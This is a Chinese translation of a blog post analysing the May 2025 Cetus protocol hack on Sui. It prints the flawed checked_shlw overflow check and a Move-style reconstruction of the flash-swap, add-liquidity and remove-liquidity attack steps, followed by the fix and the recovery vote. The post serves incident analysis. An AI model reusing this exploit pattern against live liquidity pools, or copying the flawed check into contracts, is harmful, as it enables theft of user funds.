Cetus协议由于u256库中的checked_shlw函数存在漏洞,导致攻击者可以利用极低的成本铸造大量的CLMM流动性,并从受影响的池中提取大量储备,造成约2.23亿美元的损失。文章分析了漏洞的根本原因、攻击过程以及后续的补救措施,包括链上社区投票和多重签名托管计划。
MoveJay
了解 Cetus 协议中的 u256 错误如何导致 2.23 亿美元的黑客攻击,清空流动性池,以及 Sui 上采取的恢复步骤。
作者: MoveJay
X: @movebrah
2025 年 5 月 22 日,Cetus 协议遭受攻击,损失约 2.23 亿美元。约 6000 万美元迅速被桥接到以太坊,而约 1.62 亿美元仍留在 Sui 上,并在完全退出之前被冻结。由此产生的影响导致流动性真空:流动性池被清空,路由降级,Sui 资产的价格大幅下跌。USDC 流动性几乎消失殆尽,许多生态系统代币在几分钟内出现了极端的跌幅。
本分析旨在分解 Cetus 的 u256 左移检查 checked_shlw 中的关键缺陷,该缺陷允许攻击者以微不足道的资金存入量铸造天文数字般的 CLMM 流动性,并从受影响的流动性池中提取大量储备金。
Cetus 是一个集中流动性 DEX,也是 Sui 生态系统中最大的流动性提供商。它通过 CLMM 设计来实现这种规模。Cetus 允许 LP 在特定的价格范围内提供流动性,而不是将流动性分散在整个价格曲线上,类似于 Uniswap v3 的模型。
这种设计提高了资本效率,但它也使正确性变得脆弱,因为添加/删除流动性是定点计算,需要在有范围限制的位置、当前价格和代币增量之间进行转换。为了支持这些转换,Cetus 依赖于一个共享的 u256 数学库 integer-mate,该库提供定点缩放助手、全宽度中间值和在整个 CLMM 数学路径中使用的 checked 操作。
Cetus 的 CLMM 流动性池遭到攻击,攻击源于 CLMM 合约中的漏洞,该漏洞源于 inter_mate 开源库中的缺陷。攻击者瞄准了增加流动性的路径,特别是依赖于 checked_shlw 的 u256 定点分支,在 << 64 缩放移位之前。
pub fn checked_shlw(value: u256) : (u256, bool) {
if (value > 115792089237316195417293883273301227089434195242432897623355228563449095127040) {
(0, true)
} else {
(value << 64, false)
}
}
该序列在各个流动性池中重复出现:
使用闪电贷风格的流动性获取临时余额,以便完整序列以原子方式执行。
在非常窄的 tick 范围内打开一个 CLMM 头寸。
let (bal_a_flash, bal_b_flash, flash_receipt) =
pool.flash_swap_internal(
&mut pool,
&cfg,
/*token A id*/ arg2,
/*amountA=*/ 20 402 195 370 006,
/*sqrtPriceLimit=*/ 4 295 048 016,
/*a2b=*/ true,
/*b2a=*/ false,
/*deadline*/ clock
);
// 1) Destroy the zero-owed A from the flash swap
// 1) 销毁闪电贷中欠款为零的 A
balance ::destroy_zero(bal_a_flash);
// 2) Convert the raw B-balance into a bona fide SUI coin
// 2) 将原始 B 余额转换为真正的 SUI 代币
let sui_coin = coin::from_balance(bal_b_flash);
调用 add_liquidity,以便执行命中由 checked_shlw 保护的 u256 缩放路径。
不正确的溢出条件允许不安全的中间值达到 << 64,从而产生截断值。
代币增量计算低估了所需的存款,同时记入了非常大的流动性金额。
// 3) Read the current sqrt-price
// 3) 读取当前平方根价格
let p_curr = pool.current_sqrt_price;
// 4) Compute ticks relative to price (∆L, ∆U)
// 4) 计算相对于价格的 **tick**(∆L,∆U)
let ∆L = current_tick_index - lower_tick; // ~300 000-300 200 narrow range
// ~300 000-300 200 窄范围
let ∆U = upper_tick - current_tick_index;
// 5) OPEN a very narrow position [300 000, 300 200]
// 5) 打开一个非常窄的头寸 [300 000, 300 200]
let pos = pool.open_position(&mut pool, &cfg, ∆L, ∆U);
// 6) ADD LIQUIDITY: deposit L = pool.total_liquidity
// 6) 增加流动性:存入 L = pool.total_liquidity
// but supply only "∆ₐ = 1" A (thanks to the overflow bug)
// 但只供应 "∆ₐ = 1" A (由于溢出 **bug**)
let bal_rem = pool.add_liquidity(
&mut pool,
&cfg,
pos,
/*liquidity=*/ pool.liquidity,
/*max_a=*/ pool.liquidity,
/*max_b=*/ sui_coin
);
remove_liquidity,偿还闪电贷部分,并将剩余部分作为利润保留。
// 7) Compute how much liquidity rem_L corresponds to the
// 7) 计算有多少流动性 rem_L 对应于
// original flash-loan of 20 402 195 370 006 A
// 原始闪电贷 20 402 195 370 006 A
let rem_L = clmm_math::get_liquidity_from_a(
lower_sqrt, upper_sqrt, 20 402 195 370 006, /*a2b=*/true
);
// 8) REMOVE that rem_L - getting back exactly the flash-loan
// 8) 移除 rem_L - 准确地取回闪电贷
let (a_back, b_back) =
pool.remove_liquidity(&mut pool, &cfg, pos, rem_L, sui_coin);
// 9) REPAY the flash swap and keep leftover SUI
// 9) 偿还闪电贷并保留剩余的 SUI
pool.repay_flash_swap(&mut pool, &cfg, a_back, b_back, sui_coin);
该攻击之所以有效,是因为“增加流动性所需的代币”的计算结果可能与流动性池后来在提取时兑现的流动性信用额度不一致。一旦这两个值出现分歧,就可以以低廉的价格铸造流动性并以全额价值赎回,并且此过程在多个流动性池中重复进行。
根本原因是 u256 数学实用程序 checked_shlw 中的错误溢出检查。此函数旨在使特定的定点缩放步骤安全:在流动性/代币增量计算期间,将 256 位中间值左移 64 位 (u256 << 64)。
MoveVM 通常对溢出具有防御性:标准整数算术运算会中止,而不是以静默方式换行。问题在于,这种安全性不会自动覆盖开发人员通常期望的左移,这就是为什么 协议 首先实现显式“checked shift”助手的原因。在这种情况下,该助手是错误的。
在正确的逻辑中,只要该值在顶部 64 位中有任何非零位,就必须拒绝左移 64 位。如果未强制执行该条件,则移位不会保留预期的数值,而是会截断/环绕到 256 位内的较小残差中。
已实现的函数使用错误的溢出条件,因此一些应中止的值被视为安全。随后的 << 64 移位溢出,破坏了缩放的中间值。
因为此已损坏的中间值在 CLMM 代币增量数学中用于增加流动性,所以协议可以计算出人为地较小的所需存款,同时仍记录较大的流动性信用额度。一旦系统在折价存款计算下接受铸造的头寸,提取流动性就会根据膨胀的账目支付实际储备金。
遏制始于 Cetus 暂停受影响的合约以阻止额外提取。与此同时,Sui 验证器协调紧急行动以阻止链上受攻击者控制的地址,这保留了大部分被盗价值在 Sui 上,而不是允许完全桥接出去。
遏制之后,补救措施分为生态系统强化和恢复。在强化方面,该事件被视为共享库故障,而不是孤立的流动性池 bug,并且注意力转移到具有相同易受攻击的数学原语的其他协议,包括 Kriya、Momentum 和 Bluefin,据报道它们具有相关的风险敞口并在事后得到解决。
在恢复方面,Cetus 请求进行链上社区投票以收回冻结的资金。该机制是明确的:验证器直接投票,SUI 持有者通过 stake 委托参与,并且排除 Sui 基金会的 stake。如果获得批准,冻结的资金将被收回并转移到多重签名信托帐户,直到它们可以返回到在 Cetus 中持有头寸的帐户。投票提前结束,验证器代表 90.9% 的 stake 投“是”,从而使收回的资金可以转移到信托结构。
最后,随着通过投票过程收回锁定的资金,在 Cetus 国库资源和 Sui 基金会的贷款的支持下,全面恢复已启动,以支付已经离链的部分。
此事件归结为单个故障点:checked_shlw 中的不正确的溢出保护允许 Cetus 的 u256 定点数学中的左移缩放步骤以静默方式溢出,从而破坏了增加流动性代币增量计算。这破坏了流动性核算,使攻击者能够以最小的存款铸造超额的流动性信用额度并提取各个流动性池中的储备金。结果损失约为 2.23 亿美元,其中约 6000 万美元被桥接出去,约 1.62 亿美元在 Sui 上被冻结,随后通过链上社区投票和由 Cetus 国库资源和 Sui 基金会贷款支持的信托多重签名托管计划采取了恢复行动。修复方法是在执行移位之前强制执行 n >= 1 << 192 作为溢出,或者等效地屏蔽高位,如果设置了任何高位则中止。此更正确保在顶部 64 位非零时拒绝移位。
更广泛的意义在于这次攻击所反驳的内容。Move 通常被描述为“默认安全”,因为 VM 会在许多溢出条件下中止并删除其他地方常见的整个类别的 bug。但是 Cetus 表明安全性不是语言的属性。它是工程学科的属性,例如依赖范围、数学验证、不变性测试、形式验证、监控和事件响应。从这个意义上讲,该事件最令人鼓舞的部分是善后事宜。Sui 的安全态势立即收紧,生态系统将该问题视为共享库风险,并且补救措施从遏制到恢复迅速进行。
- 原文链接: cyfrin.io/blog/inside-th...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!